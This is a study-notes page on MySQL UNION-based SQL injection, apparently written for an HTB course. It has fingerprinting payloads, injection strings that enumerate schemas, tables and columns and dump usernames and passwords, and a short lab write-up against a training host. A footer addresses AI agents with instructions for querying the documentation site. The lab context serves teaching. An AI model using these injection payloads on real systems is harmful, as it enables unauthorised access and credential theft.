# Database Enumeration

## Payloads

| Payload            | When to Use                      | Expected Output                                     | Wrong Output                                              |
| ------------------ | -------------------------------- | --------------------------------------------------- | --------------------------------------------------------- |
| `SELECT @@version` | When we have full query output   | MySQL Version 'i.e. `10.3.22-MariaDB-1ubuntu1`'     | In MSSQL it returns MSSQL version. Error with other DBMS. |
| `SELECT POW(1,1)`  | When we only have numeric output | `1`                                                 | Error with other DBMS                                     |
| `SELECT SLEEP(5)`  | Blind/No Output                  | Delays page response for 5 seconds and returns `0`. | Will not delay response with other DBMS                   |

## Schemata

### UNION

```sql
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
```

<figure><img src="/files/wIsKskmX3YbOxur44h7K" alt=""><figcaption></figcaption></figure>

```sql
cn' UNION select 1,database(),2,3-- -
```

<figure><img src="/files/BinvpNmdZqPkRwfTUOic" alt=""><figcaption></figcaption></figure>

> Note: we added a (where table\_schema='dev') condition to only return tables from the 'dev' database, otherwise we would get all tables in all databases, which can be many.

### TABLES

```sql
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
```

> Note how we replaced the numbers '2' and '3' with 'TABLE\_NAME' and 'TABLE\_SCHEMA', to get the output of both columns in the same query.<br>

<figure><img src="/files/RKyww2CrT4UlOkjzaG3C" alt=""><figcaption></figcaption></figure>

### COLUMNS

```sql
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
```

<figure><img src="/files/iPohdLs6hEFkIc6Dge0P" alt=""><figcaption></figcaption></figure>

### Data

```sql
cn' UNION select 1, username, password, 4 from dev.credentials-- -
```

> Remember: don't forget to use the dot operator to refer to the 'credentials' in the 'dev' database, as we are running in the 'ilfreight' database, as previously discussed.

<figure><img src="/files/COMv4w7kqgDfw7urECqn" alt=""><figcaption></figcaption></figure>

## WriteUp

<figure><img src="/files/xFAei7cVllC5a52bdGpL" alt=""><figcaption></figcaption></figure>

```
http://83.136.252.13:54651/search.php?port_code= ##Send empty search
cn ' union select 1,2,3,4-- - ##Union select by columns
```

<figure><img src="/files/m8DcgyWAjkxuVwdirhAB" alt=""><figcaption></figcaption></figure>

```
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- - ##View all and existing databases
cn' UNION select 1,database(),2,3-- - ##View usage database
```

<figure><img src="/files/CDosUnTc8QCcpu1Xkpwd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/IRMyFdhg44TWGJKgNKSz" alt=""><figcaption></figcaption></figure>

> This shows the database you are using

> Note: we added a (where table\_schema='dev') condition to only return tables from the 'dev' database, otherwise we would get all tables in all databases, which can be many. Up Example

```
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES-- - ##View the tables using by this database
```

<figure><img src="/files/5d0cVDdR0K3oE7KYibzU" alt=""><figcaption></figcaption></figure>

```
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='users'-- - ##View the columns of credentials table
```

<figure><img src="/files/JIL8geTrU2igH2T6wrb9" alt=""><figcaption></figcaption></figure>

```
cn' UNION select 1, username, password, 4 from ilfreight.users-- - ##This saw the info of columns username and password of table users in ilfreight database
```

> Remember: don't forget to use the dot operator to refer to the 'credentials' in the 'dev' database, as we are running in the 'ilfreight' database, as previously discussed.

<figure><img src="/files/iHiQGZ1qqHo9lFB1S75O" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eldeim.gitbook.io/brain_fuck/notes/certifications/eastereggs/htb-cbbh/sql-injection/exploitation/database-enumeration.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.